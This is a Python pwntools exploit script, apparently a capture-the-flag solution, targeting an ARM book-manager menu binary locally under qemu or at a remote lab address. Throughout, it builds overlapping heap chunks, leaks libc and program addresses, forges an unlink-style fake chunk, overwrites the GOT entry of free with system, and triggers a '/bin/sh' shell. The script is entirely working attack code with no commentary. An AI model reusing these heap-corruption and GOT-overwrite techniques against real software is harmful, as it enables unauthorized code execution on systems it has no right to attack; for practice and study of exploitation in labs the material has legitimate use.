1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
| from pwn import *
context.log_level = 'debug'
def add(p, name, size, content): p.sendlineafter('>> ', str(1)) p.sendafter('book name?\n', name) p.sendlineafter('?\n', str(size)) p.sendafter('?\n', content)
def delete(p, idx): p.sendlineafter('>> ', str(2)) p.sendlineafter('?\n', str(idx))
def edit(p, idx, name, content): p.sendlineafter('>> ', str(3)) p.sendlineafter('?\n', str(idx)) p.sendafter('\n', name) p.sendafter('\n', content)
def show(p, idx): p.sendlineafter('>> ', str(4)) p.sendlineafter('?\n', str(idx))
def pwn(): context.terminal = ['tmux', 'split', '-h'] context.binary = './vuln' elf = ELF('./vuln') if sys.argv[1] == "r": p = remote("172.16.9.45", 11410) libc = ELF('./libc.so.6') elif sys.argv[1] == "l": p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./vuln"]) libc = ELF('/usr/arm-linux-gnueabihf/lib/libc.so.6') else: p = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabihf", "./vuln"]) libc = ELF('/usr/arm-linux-gnueabihf/lib/libc.so.6') sleep(1)
add(p, 'sunichi', 0x34, '0' * 0x34) add(p, 'sunichi', 0x34, '1' * 0x34) add(p, '/bin/sh\x00', 0x34, '/bin/sh\x00') add(p, '/bin/sh\x00', 0x34, '/bin/sh\x00') add(p, 'sunichi', 0x34, '4' * 0x34)
edit(p, 0, 'sunichi', '0' * 0x34 + chr(0x28+0x38+0x28+0x38+1))
delete(p, 1)
add(p, 'sunichi', 0x8, '1' * 4) add(p, 'sunichi', 0x8 * 4, '5' * 4)
show(p, 2) p.recvuntil('5555') recv = p.recv(4) libc.address = u32(recv) - 88/2 - 0x18 - libc.symbols['__malloc_hook'] + 0x470
p.sendlineafter('>> ', str(666)) p.sendlineafter('exchange the libc address with bss address\n', str(libc.symbols['malloc']))
p.recvuntil('your bss address ') recv = p.recvuntil('\n', drop=True)
elf.address = int(recv, 16) - 0x12090 print hex(elf.address) add(p, 'sunichi', 0x8, '6' * 4)
print hex(libc.address)
add(p, 'sunichi', 0x8, '7' * 0x8) add(p, 'sunichi', 0x44, '8' * 0x44) add(p, 'sunichi', 0x44, '9' * 0x44) add(p, 'sunichi', 0x44, '10' * (0x44/2))
edit(p, 4, 'sunichi', '4' * 0x34 + '\xa9')
delete(p, 7)
payload = 's' * 0x7c add(p, 'sunichi', 0x7c, payload) payload = p32(0) * 3 + p32(0x29) + p32(0) + p32(0x69) + p32(elf.address + 0x12090 + 0x20 - 12) + p32(elf.address + 0x12090 + 0x20 - 8) payload += p32(0) * 22 + p32(0x68) + chr(0x28+0x48+0x28) edit(p, 7, 'sunichi', payload)
delete(p, 9)
add(p, 'sunichi', 0x7c, 'a') add(p, 'sunichi', 0x7c, 'b') add(p, 'sunichi', 0x7c, 'c') add(p, 'sunichi', 0x7c, 'd') add(p, 'sunichi', 0x7c, 'e')
payload = p32(elf.address + 0x12090-4) + p32(0) + p32(elf.got['free']) edit(p, 8, payload, 'sunichi')
edit(p, 5, 'sunichi', p32(libc.symbols['system']))
delete(p, 3)
print hex(libc.symbols['system']) print hex(elf.got['free']) p.interactive() p.close()
if __name__ == "__main__": pwn()
|